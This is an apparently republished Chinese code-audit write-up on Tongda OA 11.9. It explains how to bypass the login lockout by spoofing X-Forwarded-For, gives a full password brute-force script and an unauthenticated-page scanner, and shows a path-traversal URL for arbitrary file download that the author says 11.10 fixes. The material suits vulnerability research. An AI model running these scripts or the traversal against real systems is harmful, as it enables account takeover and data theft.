某OA 审计小记
2022-9-2 10:57:25 Author: www.secpulse.com(查看原文) 阅读量:49 收藏

通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达oa 有一个初步的了解

通达oa 11.9 的下载地址 默认安装地址是 D:MYOA 联网状态下会自动更新到通达 oa 11.10

安装成功后,登录界面如下 默认账号为 admin 对应密码为空

 

登录后我们看到其中还有一些默认账号 lijia wangyun wangde 均可利用空密码登录成功

 

爆破密码
 正常输入账号名密码时,输入三次错误就会禁止10分钟

 

 

 我们可以通过代码方面追究其原因
 webroot/inc/td_core.php

 

 $USER_IP 的值可以来自于 X-Forwarded-For
 写个 python 脚本用于爆破用户名密码

 

import requestsimport sysimport re
def read_passwd(passwordfile):    withopen(file = passwordfile, mode='r') as f:        passwd = f.read().splitlines()        return passwd
def Intruder_password(url,username,passwd_list):    success_str ="正在进入OA系统,请稍候..."    a=b=c=d=0    url = url +"/logincheck.php"    for passwd in passwd_list:        payload ="UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)        headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}        response = requests.request("POST", url, data=payload, headers=headers)        if(re.search(success_str, response.text)):            print("正确的账号名:{}密码:{}".format(username,passwd))        else:            print("错误密码:{}".format(passwd))        d=d+1        if(d ==255):            c = c +1            d =0        if(c ==255):            b = b +1            c =0        if(b ==255):            a = a +1            b =0

def main():    iflen(sys.argv) <4:        print("Usage: Intruder_password.py  targeturl username passwdfile\n"              "Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")        exit()    url = sys.argv[1]    username = sys.argv[2]    passwd_list = read_passwd(sys.argv[3])    Intruder_password(url,username,passwd_list)
if__name__=='__main__':    main()
未授权敏感信息泄露
 一般我们想要寻找一些高危的漏洞,就是需要寻找一些未授权漏洞,就是在未登录状态下也可以执行授权后的相关功能,编写了一个简单的脚本,先判断哪一些网页是可以在未授权的情况下进行访问到,然后再做进一步的分析
import osimport sysimport requests
def file_path(url,filefolder):    for root, dirs, files in os.walk(filefolder):        for f in files:            paths = os.path.join(root,f)            paths = paths.replace(filefolder,url)            paths = paths.replace("\\","/")            #print(paths)            if(f.endswith(".php")):                response = requests.get(paths)                # print(str(response.status_code)+" "+str(len(response.text))+"  "+paths)                print("code:"+str(response.status_code) +" len:"+str(len(response.text))+" url: "+ paths )

def main():    iflen(sys.argv) <3:        print("Usage: file_path.py targeturl filefolder\n"              "Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"")        exit()    url = sys.argv[1]    filefolder = sys.argv[2]    file_path(url,filefolder)

if__name__=='__main__':    main()

 http://10.0.18.1/inc/reg.php  泄露版本信息

 

 还有很多可以未授权显示的页面,不一一展示了
未授权文件下载
 通过不断测试,也找到了一个比较有价值的漏洞,就是未授权文件下载
 构造链接 http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a

 

 就可以下载到根目录下的 a.zip 文件

 

我们从代码层面分析一下漏洞的成因
 webroot/inc/package/down.php

 

我们看到通过 GET 方法获取到 id 值,拼接到 $FILE_PATH 中,并没有做任何过滤,传到函数 td_download
 webroot/inc/utility_file.php

 

如此便实现了任意文件下载,这是在版本 11.09 中 存在的漏洞,在自动更新到 11.10 后 漏洞便被修复了,我们查看一下代码
 webroot/inc/package/down.php 我们看到对传入的参数进行了过滤,无法再跨越目录的进行下载

 

实验推荐
代码审计利器-RIPS实践
链接:https://www.hetianlab.com/expc.do?ec=ECIDb9ac-4540-46b4-b676-22df36b5935b

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/186652.html


文章来源: https://www.secpulse.com/archives/186652.html
如有侵权请联系:admin#unsafe.sh